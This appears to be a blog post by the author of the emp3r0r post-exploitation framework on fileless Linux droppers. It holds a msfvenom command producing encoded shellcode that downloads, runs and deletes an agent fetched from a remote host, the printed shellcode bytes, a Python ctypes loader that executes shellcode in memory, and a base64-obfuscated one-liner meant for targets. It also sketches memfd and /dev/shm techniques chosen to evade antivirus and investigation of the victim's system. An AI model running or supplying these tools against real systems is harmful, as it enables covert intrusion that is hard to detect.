what does a (good) dropper do
happy new year again my fellow hackers
i started writing emp3r0r almost one whole year ago, and by now it has gained some popularity (not much, i know). to make it more popular, more features are being developed and added, in this article i am going to introduce two of them: dropper and packer
so what does a dropper do?
in my understanding, a dropper drops things and executes them, a good dropper would leave as little trace as possible, which leads us to a popular topic:
run your agent from memory
background
in this case you leave nothing on your target's disk, and your program is (hopefully) invisible to your victim, or even better, to the antivirus software that your victim trusts
in Windows world, memory is normally not accessible via normal means, users have to use procdump or something similar to view what the hell is going on in their memory
but its not the case in Linux world, everything is a file as they call it, and so is your "pure memory based" file. if you had any doubt, please read procfs
even so, we still want our agents to run in memory, as its far less noticeable and much harder to investigate
from sektor7's research, i came up with several ideas
shellcode
what and how
i assume you all know what shellcode is. to deliver our shellcode to our target system, we can:
- send it via some exploits, then run it directly in memory
- compile the shellcode into some ELF file and run it (thus making it disk based)
- encapsulate the shellcode in other means, and inject it into some process
we cover the third in this article
if you need a shellcode to start with, try:
$ msfvenom -b '\0' -e x64/xor -p linux/x64/exec CMD='lwp-download http://192.168.122.103/agent /dev/shm/agent && chmod 755 /dev/shm/agent && /dev/shm/agent;rm /dev/shm/agent;' -f raw -o shellcode.bin
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 207 (iteration=0)
x64/xor chosen with final size 207
Payload size: 207 bytes
Saved as: shellcode.bin
to format this shellcode:
$ xxd -i shellcode.bin | grep 0x | tr -d '[:space:]' | tr -d ',' | sed 's/0x/\\x/g' | tee shellcode.txt
\x48\x31\xc9\x48\x81\xe9\xeb\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\x81\x1a\xc7\x23\xdf\x9a\xf3\xe9\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xeb\x21\x9f\xba\x97\x21\xdc\x8b\xe8\x74\xe8\x50\xb7\x9a\xa0\xa1\x08\xfd\xaf\x0e\xbc\x9a\xf3\xa1\x08\xfc\x95\xcb\xa5\x9a\xf3\xe9\xed\x6d\xb7\x0e\xbb\xf5\x84\x87\xed\x75\xa6\x47\xff\xf2\x87\x9d\xf1\x20\xe8\x0c\xee\xa3\xc1\xc7\xb0\x2c\xff\x0d\xee\xa8\xc1\xc7\xb0\x2a\xf4\x0c\xbe\xfd\x96\x87\xf5\x3a\xe8\x47\xba\xec\xdc\x9a\xe9\x77\xe8\x42\xb8\xff\x9d\x9d\xa1\x3c\xe1\x03\xbc\xf2\x9e\x86\xe5\x3a\xf0\x16\xea\xba\xdc\x8d\xe4\x6c\xe8\x50\xb7\xf7\xdc\x88\xe6\x7f\xa9\x57\xff\xbc\xd5\xc9\xae\x7e\xa2\x55\xf0\xe9\x9b\x84\xae\x7b\xa0\x46\xb1\xee\xc8\x9b\xec\x3a\xe8\x47\xba\xec\xdc\x9a\xe9\x77\xe8\x42\xb8\xff\x9d\x9d\xba\x1a\x91\x74\x97\x13...
please note that this shellcode is not useful in most cases, its only a exec
shellcode, what we need is download -> exec -> cleanup
shellcode delivery via python
lemme just quote sektor7:
Its functionality can be extended with many modules including ctypes , which provides C compatible data types and allows calling functions in DLLs or shared libraries. In other words, ctypes* enables* the construction of a C-like script, combining the power of external libraries and direct access to kernel syscalls**.
To run our shellcode in memory with Python, our script has to:
- load the *libc* library into the Python process
- mmap() a new W+X memory region for the shellcode
- copy the shellcode into a newly allocated buffer
- make the buffer 'callable' (casting)
- and call the buffer
Below is the complete script (Python 2):
#!/usr/bin/python2
import ctypes
from ctypes.util import find_library
import sys
PROT_READ = 0x01
PROT_WRITE = 0x02
PROT_EXEC = 0x04
MAP_PRIVATE = 0X02
MAP_ANONYMOUS = 0X20
ENOMEM = -1
SHELLCODE = "{shellcode}"
libc = ctypes.CDLL(find_library('c'))
mmap = libc.mmap
mmap.argtypes = [ctypes.c_void_p, ctypes.c_size_t,
ctypes.c_int, ctypes.c_int, ctypes.c_int, ctypes.c_size_t]
mmap.restype = ctypes.c_void_p
page_size = ctypes.pythonapi.getpagesize()
sc_size = len(SHELLCODE)
mem_size = page_size * (1 + sc_size/page_size)
cptr = mmap(0, mem_size, PROT_READ | PROT_WRITE |
PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS,
-1, 0)
if cptr == ENOMEM:
sys.exit("mmap")
if sc_size <= mem_size:
ctypes.memmove(cptr, SHELLCODE, sc_size)
sc = ctypes.CFUNCTYPE(ctypes.c_void_p, ctypes.c_void_p)
call_sc = ctypes.cast(cptr, sc)
call_sc(None)
this script basically runs our shellcode in a python
process, its pretty much the same as script kids' favorite curl http://transfer.sh/my_dropper.sh | sh
one liner, but we cant run shellcode in the latter approach, can we? (unfortunately we can, please read on)
here you might ask, how do we put such a lengthy script into one command?
dont worry, emp3r0r has got you covered:
# put your shellcode into shellcode.txt
$ ./gen.py shellcode.txt
echo "exec('CiMhL3Vzci9iaW4vcHl0aG9uMgoKaW1wb3J0IGN0eXBlcwppbXBvcnQgc3lzCmZyb20gY3R5cGVzLnV0aWwgaW1wb3J0IGZpbmRfbGlicmFyeQoKUFJPVF9SRUFEID0gMHgwMQpQUk9UX1dSSVRFID0gMHgwMgpQUk9UX0VYRUMgPSAweDA0Ck1BUF9QUklWQVRFID0gMFgwMgpNQVBfQU5PTllNT1VTID0gMFgyMApFTk9NRU0gPSAtMQoKU0hFTExDT0RFID0gIlx4NDhceDMxXHhjOVx4NDhceDgxXHhlOVx4ZWJceGZmXHhmZlx4ZmZceDQ4XHg4ZFx4MDVceGVmXHhmZlx4ZmZceGZmXHg0OFx4YmJceDgxXHgxYVx4YzdceDIzXHhkZlx4OWFceGYzXHhlOVx4NDhceDMxXHg1OFx4MjdceDQ4XHgyZFx4ZjhceGZmXHhmZlx4ZmZceGUyXHhmNFx4ZWJceDIxXHg5Zlx4YmFceDk3XHgyMVx4ZGNceDhiXHhlOFx4NzRceGU4XHg1MFx4YjdceDlhXHhhMFx4YTFceDA4XHhmZFx4YWZceDBlXHhiY1x4OWFceGYzXHhhMVx4MDhceGZjXHg5NVx4Y2JceGE1XHg5YVx4ZjNceGU5XHhlZFx4NmRceGI3XHgwZVx4YmJceGY1XHg4NFx4ODdceGVkXHg3NVx4YTZceDQ3XHhmZlx4ZjJceDg3XHg5ZFx4ZjFceDIwXHhlOFx4MGNceGVlXHhhM1x4YzFceGM3XHhiMFx4MmNceGZmXHgwZFx4ZWVceGE4XHhjMVx4YzdceGIwXHgyYVx4ZjRceDBjXHhiZVx4ZmRceDk2XHg4N1x4ZjVceDNhXHhlOFx4NDdceGJhXHhlY1x4ZGNceDlhXHhlOVx4NzdceGU4XHg0Mlx4YjhceGZmXHg5ZFx4OWRceGExXHgzY1x4ZTFceDAzXHhiY1x4ZjJceDllXHg4Nlx4ZTVceDNhXHhmMFx4MTZceGVhXHhiYVx4ZGNceDhkXHhlNFx4NmNceGU4XHg1MFx4YjdceGY3XHhkY1x4ODhceGU2XHg3Zlx4YTlceDU3XHhmZlx4YmNceGQ1XHhjOVx4YWVceDdlXHhhMlx4NTVceGYwXHhlOVx4OWJceDg0XHhhZVx4N2JceGEwXHg0Nlx4YjFceGVlXHhjOFx4OWJceGVjXHgzYVx4ZThceDQ3XHhiYVx4ZWNceGRjXHg5YVx4ZTlceDc3XHhlOFx4NDJceGI4XHhmZlx4OWRceDlkXHhiYVx4MWFceDkxXHg3NFx4OTdceDEzXHgxNVx4ZTZceDg0XHgxYVx4YzdceDIzXHhkZlx4OWFceGYzXHhlOSIKCmxpYmMgPSBjdHlwZXMuQ0RMTChmaW5kX2xpYnJhcnkoJ2MnKSkKCm1tYXAgPSBsaWJjLm1tYXAKbW1hcC5hcmd0eXBlcyA9IFtjdHlwZXMuY192b2lkX3AsIGN0eXBlcy5jX3NpemVfdCwKICAgICAgICAgICAgICAgICBjdHlwZXMuY19pbnQsIGN0eXBlcy5jX2ludCwgY3R5cGVzLmNfaW50LCBjdHlwZXMuY19zaXplX3RdCm1tYXAucmVzdHlwZSA9IGN0eXBlcy5jX3ZvaWRfcAoKcGFnZV9zaXplID0gY3R5cGVzLnB5dGhvbmFwaS5nZXRwYWdlc2l6ZSgpCnNjX3NpemUgPSBsZW4oU0hFTExDT0RFKQptZW1fc2l6ZSA9IHBhZ2Vfc2l6ZSAqICgxICsgc2Nfc2l6ZS9wYWdlX3NpemUpCgpjcHRyID0gbW1hcCgwLCBtZW1fc2l6ZSwgUFJPVF9SRUFEIHwgUFJPVF9XUklURSB8CiAgICAgICAgICAgIFBST1RfRVhFQywgTUFQX1BSSVZBVEUgfCBNQVBfQU5PTllNT1VTLAogICAgICAgICAgICAtMSwgMCkKCmlmIGNwdHIgPT0gRU5PTUVNOgogICAgc3lzLmV4aXQoIm1tYXAiKQoKaWYgc2Nfc2l6ZSA8PSBtZW1fc2l6ZToKICAgIGN0eXBlcy5tZW1tb3ZlKGNwdHIsIFNIRUxMQ09ERSwgc2Nfc2l6ZSkKICAgIHNjID0gY3R5cGVzLkNGVU5DVFlQRShjdHlwZXMuY192b2lkX3AsIGN0eXBlcy5jX3ZvaWRfcCkKICAgIGNhbGxfc2MgPSBjdHlwZXMuY2FzdChjcHRyLCBzYykKICAgIGNhbGxfc2MoTm9uZSkK'.decode('base64'))"|python
Run this one liner on your linux targets
heres a demo showing what it looks like to run emp3r0r agent with this method:
shellcode delivery via dd
this method is able to run our shellcode in a shell script, wonderful, isnt it?
see sektor7 for detailed explanation
here i focus on weaponizing it
dd is a command-line utility for Unix and Unix-like operating systems, the primary purpose of which is to convert and copy files. On Unix, device drivers for hardware and special device files appear in the file system just like normal files; dd can also read and/or write from/to these files, provided that function is implemented in their respective driver.
--- from Wikipedia
TO BE CONTINUED
memfd and tmpfs
memfd
Linux added memfd_create
syscall since 3.17, somehow it even works on my centos 7 box (which has 3.10)
memfd_create
returns a fd
(file descriptor) that can be used as a normal file descriptor, you can write your ELF file to it, and execute it as if its were on disk
feel free to implement this in your shellcode
sektor7 has a method involving dd
and memfd_create
, meaning you can use it just like the dd
method, with pure shell script
tmpfs
in case you didnt know, /dev/shm
is a chunk of shared memory mounted as tmpfs in most Linux distributions, unlike /tmp
, which in most cases, isnt a part of memory
you can use /dev/shm
just like any other filesystems mounted as rwx
, and technically its a memory location, just a bit too obvious for hiding your evil stuff
caveats
we have to make:
- dropper
- shellcode
- agent
all memory-based
i mean, if your shellcode downloads a file and stores it on disk, whats the point in all these work?
by using tmpfs like /dev/shm
as a storage location, this issue seems solved
to make it fancier, we can do a memfd_create
in our shellcode and launch the executable from there
a packer / cryptor
i made a packer to encrypt emp3r0r agent, and run it from an anonymous memory fd
Comments
comments powered by Disqus